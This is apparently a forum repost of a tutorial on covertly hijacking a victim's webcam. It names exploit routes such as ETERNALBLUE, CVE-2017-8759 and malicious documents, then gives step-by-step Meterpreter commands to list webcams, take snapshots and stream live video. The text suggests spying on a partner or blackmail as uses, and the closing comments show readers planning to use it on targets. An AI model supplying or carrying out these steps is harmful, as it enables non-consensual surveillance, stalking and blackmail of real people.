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How to Hack Web Cams

Quote:suspect your significant other of having a fling. or, maybe you're
into blackmailing. Or, maybe you're just a creep. But my real

purpose is to show just how easy it is, so you're aware that it can

be done—and so you can protect yourself against it.
Unlike just installing a command shell on the victim computer, the

Meterpreter has the power to do numerous and nearly unlimited things
on the target's computer. The key is to get the Meterpreter

installed on their system first.
I've shown how to do this in some of my previous articles, where you

could get the victim to click on a link to our malicious website,

send a malicious Microsoft Office document or Adobe Acrobat file,

and more. Probably the easiest of all is to use the NSA's
ETERNALBLUE exploit ported for Metasploit against an unpatched
Windows 7 system or the CVE-2017-8759 exploit against any Windows
system.

Step 1. List the Victim's Webcams

Metasploit's Meterpreter has a built-in module for controlling the
remote system's webcam. The first thing we need to do is to check if

there is a web cam, and if there is, get its name. We can do that by

typing:

meterpreter > webcam_list
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If he/she has a webcam, the system will come back with a list of all

the webcams.

Step 2. Snap Pictures from the Victim's Webcam
Now that we know he/she has a webcam, we can take a snapshot from

the webcam by typing:

meterpreter > webcam_snap
The system will now save a snapshot from her webcam onto our system

in the directory /opt/framework3/msf3, which we can open and see

what's going on.

Step 3. Watch Streaming Video from the Victim's Webcam

Now that we know how to capture a single snapshot from the victim's
webcam, we will now want to run the webcam so that we can watch a
continuous video stream. We can do this by typing;

meterpreter > run webcam -p /var/www
This command starts his/her webcam and sends its streaming output

to/var/www/webcam.htm. You can watch the video by loading that file

into nearly any video viewing application.
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gwertyuop - May 27, 2019, 7:04 pm
thank you! i hope i can get it installed on my target

VanYolo - May 28, 2019, 1:38 am
Thank you man. Sounds great. I'm going to test it! :)
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